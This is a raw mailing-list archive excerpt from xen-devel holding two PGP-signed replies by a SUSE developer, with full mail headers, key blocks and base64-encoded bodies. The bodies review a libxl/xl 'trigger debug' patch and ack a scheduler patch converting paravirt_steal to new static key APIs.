	FXQRtlF0uezIhd6r+3IN03wnsOklN+uw9J0Sc8cMTLgsVOhh/VqbXC9dPce3DKy2e1Iz9vLCGMP
	3CGcc5Sra20ZC/gGMdpnk6itH0/ML79
X-Received: by 2002:a5d:59a4:0:b0:47d:f43b:fd63 with SMTP id ffacd0b85a97d-47f6230e5a4mr14881024f8f.26.1784543342086;
        Mon, 20 Jul 2026 03:29:02 -0700 (PDT)
Message-ID: <2b954e31-0551-4706-ab56-f24a8380b527@suse.com>
Date: Mon, 20 Jul 2026 12:29:01 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 2/2] {libxl,xl}: Add xl trigger debug
To: Tu Dinh <ngoc-tu.dinh@vates.tech>, xen-devel@lists.xenproject.org
Cc: Anthony PERARD <anthony.perard@vates.tech>
References: <1784539531.8631fc262581453bbf619ec5b2062170.19f7ed8472c000edb5@vates.tech>
 <1784539672.8631fc262581453bbf619ec5b2062170.19f7eda70d8000edb5@vates.tech>
Content-Language: en-US
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
Autocrypt: addr=jgross@suse.com; keydata=
 xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjrioyspZKOB
 ycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2kaV2KL9650I1SJve
 dYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i1TXkH09XSSI8mEQ/ouNcMvIJ
 NwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/BBLUVbDa4+gmzDC9ezlZkTZG2t14zWPvx
 XP3FAp2pkW0xqG7/377qptDmrk42GlSKN4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEB
 AAHNH0p1ZXJnZW4gR3Jvc3MgPGpncm9zc0BzdXNlLmNvbT7CwHkEEwECACMFAlOMcK8CGwMH
 CwkIBwMCAQYVCAIJCgsEFgIDAQIeAQIXgAAKCRCw3p3WKL8TL8eZB/9G0juS/kDY9LhEXseh
 mE9U+iA1VsLhgDqVbsOtZ/S14LRFHczNd/Lqkn7souCSoyWsBs3/wO+OjPvxf7m+Ef+sMtr0
 G5lCWEWa9wa0IXx5HRPW/ScL+e4AVUbL7rurYMfwCzco+7TfjhMEOkC+va5gzi1KrErgNRHH
 kg3PhlnRY0Udyqx++UYkAsN4TQuEhNN32MvN0Np3WlBJOgKcuXpIElmMM5f1BBzJSKBkW0Jc
 Wy3h2Wy912vHKpPV/Xv7ZwVJ27v7KcuZcErtptDevAljxJtE7aJG6WiBzm+v9EswyWxwMCIO
 RoVBYuiocc51872tRGywc03xaQydB+9R7BHPzsBNBFOMcBYBCADLMfoA44MwGOB9YT1V4KCy
 vAfd7E0BTfaAurbG+Olacciz3yd09QOmejFZC6AnoykydyvTFLAWYcSCdISMr88COmmCbJzn
 sHAogjexXiif6ANUUlHpjxlHCCcELmZUzomNDnEOTxZFeWMTFF9Rf2k2F0Tl4E5kmsNGgtSa
 aMO0rNZoOEiD/7UfPP3dfh8JCQ1VtUUsQtT1sxos8Eb/HmriJhnaTZ7Hp3jtgTVkV0ybpgFg
 w6WMaRkrBh17mV0z2ajjmabB7SJxcouSkR0hcpNl4oM74d2/VqoW4BxxxOD1FcNCObCELfIS
 auZx+XT6s+CE7Qi/c44ibBMR7hyjdzWbABEBAAHCwF8EGAECAAkFAlOMcBYCGwwACgkQsN6d
 1ii/Ey9D+Af/WFr3q+bg/8v5tCknCtn92d5lyYTBNt7xgWzDZX8G6/pngzKyWfedArllp0Pn
 fgIXtMNV+3t8Li1Tg843EXkP7+2+CQ98MB8XvvPLYAfW8nNDV85TyVgWlldNcgdv7nn1Sq8g
 HwB2BHdIAkYce3hEoDQXt/mKlgEGsLpzJcnLKimtPXQQy9TxUaLBe9PInPd+Ohix0XOlY+Uk
 QFEx50Ki3rSDl2Zt2tnkNYKUCvTJq7jvOlaPd6d/W0tZqpyy7KVay+K4aMobDsodB3dvEAs6
 ScCnh03dDAFgIq5nsB11j3KPKdVoPlfucX2c7kGNH+LUMbzqV6beIENfNexkOfxHfw==
In-Reply-To: <1784539672.8631fc262581453bbf619ec5b2062170.19f7eda70d8000edb5@vates.tech>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------84ZHUl0IOgdOn8wZYiHk8hG8"
X-purgate-ID: tlsNG-33051d/1784543342-6C6DE4E9-7774DC77/0/0
X-purgate-type: clean
X-purgate-size: 7490

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------84ZHUl0IOgdOn8wZYiHk8hG8
Content-Type: multipart/mixed; boundary="------------Zb0Rkc1pAxSfr7IPDu6zoum0";
 protected-headers="v1"
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
To: Tu Dinh <ngoc-tu.dinh@vates.tech>, xen-devel@lists.xenproject.org
Cc: Anthony PERARD <anthony.perard@vates.tech>
Message-ID: <2b954e31-0551-4706-ab56-f24a8380b527@suse.com>
Subject: Re: [PATCH 2/2] {libxl,xl}: Add xl trigger debug
References: <1784539531.8631fc262581453bbf619ec5b2062170.19f7ed8472c000edb5@vates.tech>
 <1784539672.8631fc262581453bbf619ec5b2062170.19f7eda70d8000edb5@vates.tech>
In-Reply-To: <1784539672.8631fc262581453bbf619ec5b2062170.19f7eda70d8000edb5@vates.tech>

--------------Zb0Rkc1pAxSfr7IPDu6zoum0
Content-Type: multipart/mixed; boundary="------------zHb70pH6EhL14DLemQkMlpi3"

--------------zHb70pH6EhL14DLemQkMlpi3
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

T24gMjAuMDcuMjYgMTE6MjcsIFR1IERpbmggd3JvdGU6DQo+IFVzZSBYRU5fRE9NQ1RMX1NF
TkRUUklHR0VSX0RFQlVHIHRvIGFsbG93IHByaW50aW5nIGRpYWdub3N0aWNzDQo+IGluZm9y
bWF0aW9uIG9mIGEgc3BlY2lmaWMgZG9tYWluLg0KPiANCj4gU2lnbmVkLW9mZi1ieTogVHUg
RGluaCA8bmdvYy10dS5kaW5oQHZhdGVzLnRlY2g+DQo+IC0tLQ0KPiAgIHRvb2xzL2xpYnMv
bGlnaHQvbGlieGxfZG9tYWluLmMgIHwgNCArKysrDQo+ICAgdG9vbHMvbGlicy9saWdodC9s
aWJ4bF90eXBlcy5pZGwgfCAxICsNCj4gICB0b29scy94bC94bF9jbWR0YWJsZS5jICAgICAg
ICAgICB8IDIgKy0NCj4gICAzIGZpbGVzIGNoYW5nZWQsIDYgaW5zZXJ0aW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Mlpi3
Content-Type: application/pgp-keys; name="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Disposition: attachment; filename="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjri
oyspZKOBycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2
kaV2KL9650I1SJvedYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i
1TXkH09XSSI8mEQ/ouNcMvIJNwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/B
BLUVbDa4+gmzDC9ezlZkTZG2t14zWPvxXP3FAp2pkW0xqG7/377qptDmrk42GlSK
N4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEBAAHNHEp1ZXJnZW4gR3Jvc3Mg
PGpnQHBmdXBmLm5ldD7CwHkEEwECACMFAlOMcBYCGwMHCwkIBwMCAQYVCAIJCgsE
FgIDAQIeAQIXgAAKCRCw3p3WKL8TL0KdB/93FcIZ3GCNwFU0u3EjNbNjmXBKDY4F
UGNQH2lvWAUy+dnyThpwdtF/jQ6j9RwE8VP0+NXcYpGJDWlNb9/JmYqLiX2Q3Tye
vpB0CA3dbBQp0OW0fgCetToGIQrg0MbD1C/sEOv8Mr4NAfbauXjZlvTj30H2jO0u
+6WGM6nHwbh2l5O8ZiHkH32iaSTfN7Eu5RnNVUJbvoPHZ8SlM4KWm8rG+lIkGurq
qu5gu8q8ZMKdsdGC4bBxdQKDKHEFExLJK/nRPFmAuGlId1E3fe10v5QL+qHI3EIP
tyfE7i9Hz6rVwi7lWKgh7pe0ZvatAudZ+JNIlBKptb64FaiIOAWDCx1SzR9KdWVy
Z2VuIEdyb3NzIDxqZ3Jvc3NAc3VzZS5jb20+wsB5BBMBAgAjBQJTjH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ew3p3W
KL8TLwUCWt3w0AIbAgCBCRCw3p3WKL8TL3YgBBkWCAAdFiEEUy2wekH2OPMeOLge
gFxhu0/YY74FAlrd8NAACgkQgFxhu0/YY75NiwD/fQf/RXpyv9ZX4n8UJrKDq422
bcwkujisT6jix2mOOwYBAKiip9+mAD6W5NPXdhk1XraECcIspcf2ff5kCAlG0DIN
aTUH/RIwNWzXDG58yQoLdD/UPcFgi8GWtNUp0Fhc/GeBxGipXYnvuWxwS+Qs1Qay
7/Nbal/v4/eZZaWs8wl2VtrHTS96/IF6q2o0qMey0dq2AxnZbQIULiEndgR625EF
RFg+IbO4ldSkB3trsF2ypYLij4ZObm2casLIP7iB8NKmQ5PndL8Y07TtiQ+Sb/wn
g4GgV+BJoKdDWLPCAlCMilwbZ88Ijb+HF/aipc9hsqvW/hnXC2GajJSAY3Qs9Mib
4Hm91jzbAjmp7243pQ4bJMfYHemFFBRaoLC7ayqQjcsttN2ufINlqLFPZPR/i3IX
kt+z4drzFUyEjLM1vVvIMjkUoJs=3D
=3DeeAB
-----END PGP PUBLIC KEY BLOCK-----

--------------zHb70pH6EhL14DLemQkMlpi3--

--------------Zb0Rkc1pAxSfr7IPDu6zoum0--

--------------84ZHUl0IOgdOn8wZYiHk8hG8
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsB5BAABCAAjFiEEhRJncuj2BJSl0Jf3sN6d1ii/Ey8FAmpd+G0FAwAAAAAACgkQsN6d1ii/Ey96
Ngf+OzzSqO1C7qcfyafd+giSdFD3AE+p0cnyTIEyFrlYvz1jcKF02chmlFZukZ7eCFNUIB9KL5ti
Zp/JCeheqceD6OINeLY+hav6iTu+w3HCNuwvo2ngEFLTDteOk8DpleyKnCYEyJtBfhG/gdVqw91W
aoSRatQFGLYDnCgeNk6eAa2cyfUTSFNzJZRb/0ZrX6k3NbWlN7V+fXSJleVYHW6B8wGCOJRtgwrB
M19zpkYlQq3Zv1j4ruwqf2pJwgt0GifobZYTYeYnbj43gehcnIfn5inMUwG6fNOIbIsk3TkMniqL
X877FNIDvIoYRw7KLvHrdQFX+RyYK1g4FzE78805yA==
=tWOZ
-----END PGP SIGNATURE-----

--------------84ZHUl0IOgdOn8wZYiHk8hG8--


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 10:35:14 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 10:35:14 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366494.1616385 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wllL2-0007cD-Kn; Mon, 20 Jul 2026 10:35:08 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366494.1616385; Mon, 20 Jul 2026 10:35:08 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wllL2-0007c6-He; Mon, 20 Jul 2026 10:35:08 +0000
Received: by outflank-mailman (input) for mailman id 1366494;
 Mon, 20 Jul 2026 10:35:06 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wllL0-0007c0-GQ
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 10:35:06 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wllKz-000rkH-Ke
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 12:35:05 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a5df9c6-2eae-0a2a0a5409dd-0a2a4506bfc4-34
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 12:35:05 +0200
Received: from [209.85.128.48] (helo=mail-wm1-f48.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a5df9d9-195a-0a2a45060019-d1558030cdeb-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 12:35:05 +0200
Received: by mail-wm1-f48.google.com with SMTP id
 5b1f17b1804b1-493f75f7172so78024075e9.1
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 03:35:05 -0700 (PDT)
Received: from ?IPV6:2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112?
 (2a00-12d0-af5d-ad01-5d3f-14e6-9bcb-5112.ip.tng.de.
 [2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112])
 by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4954a2b074csm291431975e9.6.2026.07.20.03.35.03
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 20 Jul 2026 03:35:04 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784543705; x=1785148505; darn=lists.xenproject.org;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=k37RWmWff7zt+PtsvHIuhzz9otckpy6kRhbc8EISwX4=;
        b=KRXfxqN8ZfAOgsAfAp55toXs4EmCAAF2m0PIaQH4vg3NqFaTmFY4N8ZKmBTRddR1qm
         SLUTh9IGhjI0Lqj2opPoIM6wY0ssxPML2I+tOxPKaH10H49LYxcfHAiEa8VFX94qsroj
         n5IByRG4vBtkO+pmSzGug1VFLYFKJ23xXgychBpDrBVxLpfM2a46hgHhLRhxfjcdBTK9
         229/0f8B7tfPbbXr+Qq2rbfD6SObGxUlgasSEIxQRezXkyml7TyeTo9U0Vpo1GuvegcS
         ufNgzHcn6myLEEs1D+2q9dgaoJ420oJVR+W9ruOvZUSDWJNL112oezpIAmQ0tCpZ2rSH
         oOTw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784543705; x=1785148505;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=k37RWmWff7zt+PtsvHIuhzz9otckpy6kRhbc8EISwX4=;
        b=p3TFcWkBwZn5+D6wdx9lYMU3czUcZGFKE4U+RVqXKHWe5HiYGrJUV1FUehv2OnwKh8
         2Dnnzy0ajN3R9EW5bV4wA2dPZEEYGs8MTy7Z3Op/FXb+rP4f8Qc8chJptK3Le0VbgV2k
         cenQxmC2V9U6g9BS8WUH4BhlWaYj1EwnGDq5cxQ2nhW6IwvPcoLQIkCkUQyhlbnxt3v+
         M3UAwQX9o51Fu0BZGC6nZjK6QOfdcwaxcC+UJM/wx09SZ4hGLWN+LuQij/fqKb0guLGf
         4lBiAAWvbNMmpWok61xbRdaO5tDF3nO2+v5jTNULwpC0/oQhz0w+FXy84Ozj5VgRt2hC
         t5Zw==
X-Forwarded-Encrypted: i=1; AHgh+Roc2U9AKekC713I24pwZK23VwEMKI9yTBUFu1+bfa/Nx8NR0E4qhWSrbvCXvpnTFi89JuTFEx/9khQ=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yw4nU67wgt++fpA7PgQlPmSb4+QoEz1DvG1jIpNcoVLMAujB2lB
	MjxxTf5YR2NfeDZ90qwRbGkXHraaDDXZxm8Aiorgh+fy4dNcws7T2ykfkLgQ58KoESI=
X-Gm-Gg: AfdE7cka+49IoZVr0YKhdDzcystxnTCodH8y68URI65Yui+DN7G/PCyQKP39p7NbDiY
	6lLIdmr6Y8n/6X1IxP9iEXyX0/Anfw2XYm4g47arDZATW2W+7foxS3O2Ue3ClBsCwnLq8wkMj4t
	jMe42LpsCuEKzDtpN7M1G/A6u9sgKWiJQV86aS6+boiFdEurLrIOc6qYZkTfICmtB0DoTDAtqZZ
	0ooDxeWy9bpqtngWTgoYzIbTHArz2X7x3Q+Sv04x1LaJm51ToKAShYjOwxKCDkCPhDVfWt8WkKG
	Z1gTchLfdl8pgd/IliDjF6RPVqEBGffMwStW68iNfRRWvqPsvdleGFg3zU9NbI86X1euLUo6iZu
	0gnUP49auYKfxJiLDNtxxJl2nj4iTLFUD7bB1C57+cjesOLhJj4fuUy2ygQ1Qpp0vxyD/MSJmeT
	kmhqMFtEUIQlhVwFrsUcV6gb4Ih0lv7+EqXCCInuoUwRJq118EQUxFnELCG50pNCXCF9sLHKXPB
	m0tMmBt2n4/u0almshAf9ImtXHkCYzg
X-Received: by 2002:a05:600c:4f14:b0:495:5ce6:9c18 with SMTP id 5b1f17b1804b1-4955ce6a33cmr61097885e9.27.1784543704827;
        Mon, 20 Jul 2026 03:35:04 -0700 (PDT)
Message-ID: <e258581c-a17f-4b5a-aafd-82e513a6288e@suse.com>
Date: Mon, 20 Jul 2026 12:35:02 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 2/3] sched: Convert paravirt_steal to new static key APIs
To: Hongyan Xia <hongyan.xia@transsion.com>,
 "mingo@redhat.com" <mingo@redhat.com>,
 "peterz@infradead.org" <peterz@infradead.org>,
 "juri.lelli@redhat.com" <juri.lelli@redhat.com>,
 "vincent.guittot@linaro.org" <vincent.guittot@linaro.org>,
 "dietmar.eggemann@arm.com" <dietmar.eggemann@arm.com>,
 "rostedt@goodmis.org" <rostedt@goodmis.org>,
 "bsegall@google.com" <bsegall@google.com>, "mgorman@suse.de"
 <mgorman@suse.de>, "vschneid@redhat.com" <vschneid@redhat.com>,
 "kprateek.nayak@amd.com" <kprateek.nayak@amd.com>,
 Ajay Kaher <ajay.kaher@broadcom.com>,
 Alexey Makhalov <alexey.makhalov@broadcom.com>,
 Broadcom internal kernel review list
 <bcm-kernel-feedback-list@broadcom.com>,
 Catalin Marinas <catalin.marinas@arm.com>, Will Deacon <will@kernel.org>,
 Huacai Chen <chenhuacai@kernel.org>, WANG Xuerui <kernel@xen0n.name>,
 Madhavan Srinivasan <maddy@linux.ibm.com>,
 Michael Ellerman <mpe@ellerman.id.au>, Nicholas Piggin <npiggin@gmail.com>,
 "Christophe Leroy (CS GROUP)" <chleroy@kernel.org>,
 Paul Walmsley <pjw@kernel.org>, Palmer Dabbelt <palmer@dabbelt.com>,
 Albert Ou <aou@eecs.berkeley.edu>, Alexandre Ghiti <alex@ghiti.fr>,
 Thomas Gleixner <tglx@kernel.org>, Borislav Petkov <bp@alien8.de>,
 Dave Hansen <dave.hansen@linux.intel.com>, "x86@kernel.org"
 <x86@kernel.org>, "H. Peter Anvin" <hpa@zytor.com>,
 Paolo Bonzini <pbonzini@redhat.com>, Vitaly Kuznetsov <vkuznets@redhat.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>
Cc: Jiazi Li <jiazi.li@transsion.com>,
 "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
 "virtualization@lists.linux.dev" <virtualization@lists.linux.dev>,
 "linux-arm-kernel@lists.infradead.org"
 <linux-arm-kernel@lists.infradead.org>,
 "loongarch@lists.linux.dev" <loongarch@lists.linux.dev>,
 "linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
 "linux-riscv@lists.infradead.org" <linux-riscv@lists.infradead.org>,
 "kvm@vger.kernel.org" <kvm@vger.kernel.org>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <cover.1784538478.git.hongyan.xia@transsion.com>
 <773bbd8fcd5ef2ebfe1c64303c7a71a56368de69.1784538478.git.hongyan.xia@transsion.com>
Content-Language: en-US
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
Autocrypt: addr=jgross@suse.com; keydata=
 xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjrioyspZKOB
 ycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2kaV2KL9650I1SJve
 dYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i1TXkH09XSSI8mEQ/ouNcMvIJ
 NwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/BBLUVbDa4+gmzDC9ezlZkTZG2t14zWPvx
 XP3FAp2pkW0xqG7/377qptDmrk42GlSKN4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEB
 AAHNH0p1ZXJnZW4gR3Jvc3MgPGpncm9zc0BzdXNlLmNvbT7CwHkEEwECACMFAlOMcK8CGwMH
 CwkIBwMCAQYVCAIJCgsEFgIDAQIeAQIXgAAKCRCw3p3WKL8TL8eZB/9G0juS/kDY9LhEXseh
 mE9U+iA1VsLhgDqVbsOtZ/S14LRFHczNd/Lqkn7souCSoyWsBs3/wO+OjPvxf7m+Ef+sMtr0
 G5lCWEWa9wa0IXx5HRPW/ScL+e4AVUbL7rurYMfwCzco+7TfjhMEOkC+va5gzi1KrErgNRHH
 kg3PhlnRY0Udyqx++UYkAsN4TQuEhNN32MvN0Np3WlBJOgKcuXpIElmMM5f1BBzJSKBkW0Jc
 Wy3h2Wy912vHKpPV/Xv7ZwVJ27v7KcuZcErtptDevAljxJtE7aJG6WiBzm+v9EswyWxwMCIO
 RoVBYuiocc51872tRGywc03xaQydB+9R7BHPzsBNBFOMcBYBCADLMfoA44MwGOB9YT1V4KCy
 vAfd7E0BTfaAurbG+Olacciz3yd09QOmejFZC6AnoykydyvTFLAWYcSCdISMr88COmmCbJzn
 sHAogjexXiif6ANUUlHpjxlHCCcELmZUzomNDnEOTxZFeWMTFF9Rf2k2F0Tl4E5kmsNGgtSa
 aMO0rNZoOEiD/7UfPP3dfh8JCQ1VtUUsQtT1sxos8Eb/HmriJhnaTZ7Hp3jtgTVkV0ybpgFg
 w6WMaRkrBh17mV0z2ajjmabB7SJxcouSkR0hcpNl4oM74d2/VqoW4BxxxOD1FcNCObCELfIS
 auZx+XT6s+CE7Qi/c44ibBMR7hyjdzWbABEBAAHCwF8EGAECAAkFAlOMcBYCGwwACgkQsN6d
 1ii/Ey9D+Af/WFr3q+bg/8v5tCknCtn92d5lyYTBNt7xgWzDZX8G6/pngzKyWfedArllp0Pn
 fgIXtMNV+3t8Li1Tg843EXkP7+2+CQ98MB8XvvPLYAfW8nNDV85TyVgWlldNcgdv7nn1Sq8g
 HwB2BHdIAkYce3hEoDQXt/mKlgEGsLpzJcnLKimtPXQQy9TxUaLBe9PInPd+Ohix0XOlY+Uk
 QFEx50Ki3rSDl2Zt2tnkNYKUCvTJq7jvOlaPd6d/W0tZqpyy7KVay+K4aMobDsodB3dvEAs6
 ScCnh03dDAFgIq5nsB11j3KPKdVoPlfucX2c7kGNH+LUMbzqV6beIENfNexkOfxHfw==
In-Reply-To: <773bbd8fcd5ef2ebfe1c64303c7a71a56368de69.1784538478.git.hongyan.xia@transsion.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------xRaoXSGgLc0vY9TPQoiqAmqD"
X-purgate-ID: tlsNG-16d1c6/1784543705-1ECC577B-C8E99BC2/0/0
X-purgate-type: clean
X-purgate-size: 8421

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------xRaoXSGgLc0vY9TPQoiqAmqD
Content-Type: multipart/mixed; boundary="------------GCGLUHAC00omEipMv2gl1qSr";
 protected-headers="v1"
From: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
To: Hongyan Xia <hongyan.xia@transsion.com>,
 "mingo@redhat.com" <mingo@redhat.com>,
 "peterz@infradead.org" <peterz@infradead.org>,
 "juri.lelli@redhat.com" <juri.lelli@redhat.com>,
 "vincent.guittot@linaro.org" <vincent.guittot@linaro.org>,
 "dietmar.eggemann@arm.com" <dietmar.eggemann@arm.com>,
 "rostedt@goodmis.org" <rostedt@goodmis.org>,
 "bsegall@google.com" <bsegall@google.com>, "mgorman@suse.de"
 <mgorman@suse.de>, "vschneid@redhat.com" <vschneid@redhat.com>,
 "kprateek.nayak@amd.com" <kprateek.nayak@amd.com>,
 Ajay Kaher <ajay.kaher@broadcom.com>,
 Alexey Makhalov <alexey.makhalov@broadcom.com>,
 Broadcom internal kernel review list
 <bcm-kernel-feedback-list@broadcom.com>,
 Catalin Marinas <catalin.marinas@arm.com>, Will Deacon <will@kernel.org>,
 Huacai Chen <chenhuacai@kernel.org>, WANG Xuerui <kernel@xen0n.name>,
 Madhavan Srinivasan <maddy@linux.ibm.com>,
 Michael Ellerman <mpe@ellerman.id.au>, Nicholas Piggin <npiggin@gmail.com>,
 "Christophe Leroy (CS GROUP)" <chleroy@kernel.org>,
 Paul Walmsley <pjw@kernel.org>, Palmer Dabbelt <palmer@dabbelt.com>,
 Albert Ou <aou@eecs.berkeley.edu>, Alexandre Ghiti <alex@ghiti.fr>,
 Thomas Gleixner <tglx@kernel.org>, Borislav Petkov <bp@alien8.de>,
 Dave Hansen <dave.hansen@linux.intel.com>, "x86@kernel.org"
 <x86@kernel.org>, "H. Peter Anvin" <hpa@zytor.com>,
 Paolo Bonzini <pbonzini@redhat.com>, Vitaly Kuznetsov <vkuznets@redhat.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>
Cc: Jiazi Li <jiazi.li@transsion.com>,
 "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
 "virtualization@lists.linux.dev" <virtualization@lists.linux.dev>,
 "linux-arm-kernel@lists.infradead.org"
 <linux-arm-kernel@lists.infradead.org>,
 "loongarch@lists.linux.dev" <loongarch@lists.linux.dev>,
 "linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
 "linux-riscv@lists.infradead.org" <linux-riscv@lists.infradead.org>,
 "kvm@vger.kernel.org" <kvm@vger.kernel.org>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Message-ID: <e258581c-a17f-4b5a-aafd-82e513a6288e@suse.com>
Subject: Re: [PATCH 2/3] sched: Convert paravirt_steal to new static key APIs
References: <cover.1784538478.git.hongyan.xia@transsion.com>
 <773bbd8fcd5ef2ebfe1c64303c7a71a56368de69.1784538478.git.hongyan.xia@transsion.com>
In-Reply-To: <773bbd8fcd5ef2ebfe1c64303c7a71a56368de69.1784538478.git.hongyan.xia@transsion.com>

--------------GCGLUHAC00omEipMv2gl1qSr
Content-Type: multipart/mixed; boundary="------------mHisnunnxH4NBSrCYMbsXcuq"

--------------mHisnunnxH4NBSrCYMbsXcuq
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

T24gMjAuMDcuMjYgMTE6MzgsIEhvbmd5YW4gWGlhIHdyb3RlOg0KPiBGcm9tOiBIb25neWFu
IFhpYSA8aG9uZ3lhbi54aWFAdHJhbnNzaW9uLmNvbT4NCj4gDQo+IHBhcmF2aXJ0X3N0ZWFs
X3JxX2VuYWJsZWQgYW5kIHBhcmF2aXJ0X3N0ZWFsX2VuYWJsZWQgdXNlIHJhdyBzdGF0aWNf
a2V5DQo+IEFQSXMgd2hpY2ggYXJlIG5vdyBkZXByZWNhdGVkLiBVc2UgdGhlIG5ldyBBUEkg
aW5zdGVhZC4NCj4gDQo+IE5vIGZ1bmN0aW9uYWwgY2hhbmdlLg0KPiANCj4gU2lnbmVkLW9m
Zi1ieTogSG9uZ3lhbiBYaWEgPGhvbmd5YW4ueGlhQHRyYW5zc2lvbi5jb20+DQoNCkFja2Vk
LWJ5OiBKdWVyZ2VuIEdyb3NzIDxqZ3Jvc3NAc3VzZS5jb20+DQoNCg0KSnVlcmdlbg0K
